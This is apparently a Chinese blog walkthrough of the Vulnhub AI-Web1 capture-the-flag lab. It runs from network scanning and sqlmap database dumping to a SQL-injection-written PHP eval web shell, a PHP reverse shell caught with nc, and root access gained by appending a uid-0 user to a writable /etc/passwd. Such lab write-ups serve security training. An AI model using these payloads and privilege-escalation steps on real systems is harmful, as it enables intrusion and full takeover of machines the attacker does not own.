Vulnhub靶场之AI-Web1

Vulnhub靶场之AI-Web1通关步骤

下载地址

image-20260512155334047

操作环境

攻击机:kali2026.1

image-20260512155905342

虚拟网卡

VMnet19:192.168.19.0/24

靶机渗透

主机探测

arp-scan -l

image-20260512160019476

靶机ip为192.168.19.135

端口探测

nmap -p- 192.168.19.135

image-20260512160850207

开放了80端口,在浏览器中访问一下

端口访问

image-20260512160141250

在主页中没有发现什么有用的内容,尝试扫描目录

目录扫描

dirsearch -u "192.168.19.135"

image-20260512160830994

访问robots.txt

image-20260512161028818

image-20260512161100569

image-20260512161131482

image-20260516185856109

都无访问权限

对子目录进行扫描

dirsearch -u http://192.168.19.135/m3diNf0/
dirsearch -u http://192.168.19.135/se3reTdir777/uploads/

image-20260516185028864

image-20260516185945857

image-20260516190055155

漏洞发现及利用

继续尝试挖掘 sql注入

image-20260516190249731

使用burpsuite抓包

image-20260516190849350

复制post信息,使用sqlmap进行破解

image-20260516191102381

sqlmap -r 1.txt --dbs

image-20260516195349118

sqlmap -r 1.txt --tables

image-20260516195534857

 sqlmap -r 1.txt -D aiweb1 --dump-all –batch

image-20260516200156357

向靶机中写入一句话木马

' union select '<?php eval($_POST["pass"]);echo "yes";?>',2,3 into outfile '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php'#

image-20260516200447911

使用蚁剑getshell

http://192.168.19.135/se3reTdir777/uploads/shell.php

image-20260516200654500

发现/etc/passwd有写入权限

image-20260516201035437

启动一个反弹shell

cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop

编辑文件,修改为攻击机的ip

image-20260516202747896

上传到蚁剑

image-20260516203143608

使用nc监听端口

nc -lvnp 1234

image-20260516203310596

访问路径

image-20260516203447397

成功获得shell

image-20260516203509457

创建交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20260516204200093

发现/etc/passwd有写入权限

image-20260516204420866

尝试创建一个root权限的用户(uid=0)并登录

perl -le 'print crypt("123456","addedsalt")'
echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
su test
123456

image-20260516204016898

登录root后成功获取flag

image-20260516204524091

文章评论